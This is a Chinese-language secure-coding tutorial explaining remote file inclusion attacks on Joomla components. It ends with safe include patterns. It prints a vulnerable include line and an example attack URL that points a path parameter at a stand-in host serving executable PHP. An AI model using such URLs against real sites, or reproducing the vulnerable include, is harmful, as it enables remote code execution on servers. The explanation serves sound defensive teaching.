假如你的代码中有这样一行
include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );
而一个cracker这样访问你的网站:
http://www.example.com/components/com_yourcomponent/yourcomponent.php?
mosConfig_absolute_path=http://www.bad.site/bad.gif?
事实上这个图片文件的是一些可执行的php代码,那样这些代码就会执行(register_globals是on的状态情况下)。
这样cracker就可以做任何他想要的做的事情了,这就是远程文件包含攻击。非常不行,甚至一些不太懂脚本的人也能轻松的这样做。这只是非常简单的攻击方式,还有一些攻击方式,即使register_globals是off情况,也能进行攻击。远程文件包含攻击仅仅在那些allow_url_open的系统上能运行,但是很多系统要求打开这个参数。
结论: 为了确保防止远程文件包含攻击,你要确认不会使用不合法的输入。首先应用上篇文章中提到的防止非正常文件引用,其次对于处理文件系统的部分要非常注意,特别是include, require, include_once, require_once, fopen这些函数,如果在这些函数中确实要使用变量,请验证他们的合法性
以下是一个非常好的例子:
Joomla 1.0
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );
Joomla 1.5
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );